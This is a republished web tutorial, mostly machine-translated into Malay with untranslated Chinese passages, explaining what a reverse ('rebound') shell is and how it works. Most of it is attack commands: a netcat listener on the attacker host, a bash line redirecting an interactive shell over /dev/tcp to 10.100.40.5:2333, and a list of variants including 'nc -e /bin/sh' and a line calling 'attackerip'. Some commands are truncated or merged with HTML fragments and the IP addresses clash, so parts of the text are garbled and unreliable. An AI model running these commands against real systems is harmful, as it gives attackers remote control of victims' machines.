Rumah >Operasi dan penyelenggaraan >Keselamatan >Apakah maksud shell rebound?

Apakah maksud shell rebound?

王林
王林ke hadapan
2023-05-11 16:25:206835semak imbas

* Kenyataan ikhlas: Artikel ini terhad kepada perbincangan dan perkongsian teknikal, dan dilarang sama sekali untuk penggunaan yang menyalahi undang-undang.

0x00 Prakata

Lantunshell bermakna hujung kawalan mendengar pada port TCP/UDP tertentu dan hujung terkawal memulakan permintaan ke port dan memasukkan dan mengeluarkannya baris arahan Pergi ke kawalan.

Dalam istilah orang awam, lantunan shell ialah pautan terbalik, yang berbeza daripada hadapan ssh dan lain-lain. Ia ialah mod serangan di mana komputer pihak lain melaksanakan perintah untuk menyambung ke sisi kami, dan Mod serangan ini mesti digunakan dengan kelemahan pelaksanaan arahan jauh.

Mengapa melantunshell? Ia biasanya digunakan apabila hujung terkawal dihadkan oleh tembok api, tiada kebenaran dan port telah diduduki.

Andaikan kita menyerang mesin dan membuka port pada mesin Penyerang menyambung ke mesin sasaran pada mesinnya sendiri. Ini adalah bentuk yang lebih konvensional. Desktop jauh, perkhidmatan web, ssh, telnet, dsb., semuanya adalah sambungan hadapan.

Jadi dalam keadaan apa sambungan hadapan tidak mudah digunakan:

1 Pelanggan mempunyai kuda rangkaian anda, tetapi ia berada dalam LAN, anda menyambung terus No.

2. ipnya akan berubah secara dinamik dan anda tidak boleh mengawalnya secara berterusan.

3. Disebabkan sekatan seperti tembok api, mesin lain hanya boleh menghantar permintaan tetapi tidak boleh menerima permintaan.

4. Untuk virus dan Trojan, tidak diketahui bila mangsa akan dijangkiti, bagaimana persekitaran rangkaian pihak lain, dan bila hendak menghidupkan dan mematikan mesin Oleh itu, wujudkan pelayan untuk membenarkan hasad program untuk menyambung secara aktif , adalah dasar terbaik.

Kemudian lantunan mudah difahami Penyerang menentukan pelayan, dan hos mangsa secara aktif menyambung ke program pelayan penyerang, yang dipanggil lantunan shell.

Demonstrasi shell lantunan 0x01

Kami menggunakan bashcontoh kelemahan pelaksanaan kod jauh untuk memahami prinsipnya

Tamat serangan: 10.100.40.5 Mesin mangsa: 16892 .197.136

Mula-mula kita perlu mendengar pada port di bahagian menyerang, dan menggunakan port ini untuk menerima lantunan daripada mesin mangsashell
Masukkan arahan di bahagian menyerang nc -l 2333

Apakah maksud shell rebound?

Kemudian laksanakan arahan

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

Apakah maksud shell rebound?

pada mesin mangsa dan kami mendapati bahawa pihak mangsa kami telah berjaya muncul di bahagian serangan kami shell, hujung penyerang kami boleh melakukan langkah seterusnya pada hujung mangsa

Apakah maksud shell rebound?

Contohnya:

Apakah maksud shell rebound?

Prinsip 0x02

2.1 Prinsip arahan shell lantunan

(1)bash -i

bash ialah linux biasa daripada shell, ia adalah Linux Lalai untuk banyak pengedaran Shell.
-iParameter ini bermaksud menjana interaktif shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/portFail ini sangat istimewa, ia boleh dianggap sebagai peranti (semua di bawah Linux ialah fail), sebenarnya, jika anda mengakses lokasi fail ini, ia tidak wujud, seperti yang ditunjukkan di bawah:

Apakah maksud shell rebound?

(3) Tetapi jika anda Dengan membaca dan menulis fail ini semasa satu pihak mendengar pada port, socket komunikasi dengan pelayan mendengar pada port boleh dicapai

Kami mengeluarkan aksara ke fail /dev/tcp

penganiayaan Tamat:

Apakah maksud shell rebound?

Tamat serangan:

Apakah maksud shell rebound?

(4) Seterusnya kita sedang melihat untuk memindahkan output ke hujung mangsa, Teruskan mendengar port 2333 di bahagian penyerang, dan masukkan kandungan di bahagian penyerang dan tekan Enter untuk muncul di bahagian mangsa.

Apakah maksud shell rebound?

Apakah maksud shell rebound?

(5) Dengan cara ini idea lebih jelas, mari kita bercakap tentang pengalihan semula interaktif:

Untuk mencapai interaksi, Kita perlu mengubah hala keluaran interaktif mangsa shell ke mesin serangan

masukkan pada mesin mangsa:

bash -i > /dev/tcp 10.100.40.5/2333

dan kemudian kami mendapati bahawa tidak kira apa arahan yang dimasukkan; , tidak akan ada Paparan tindak balas, gema kini menunjukkan bahawa output standard bahagian serangan dihalakan ke bahagian serangan.

Apakah maksud shell rebound?

Apakah maksud shell rebound?

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Apakah maksud shell rebound?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Apakah maksud shell rebound?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

Apakah maksud shell rebound?

攻击端:

Apakah maksud shell rebound?

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

Apakah maksud shell rebound?

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

Apakah maksud shell rebound?

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

Atas ialah kandungan terperinci Apakah maksud shell rebound?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam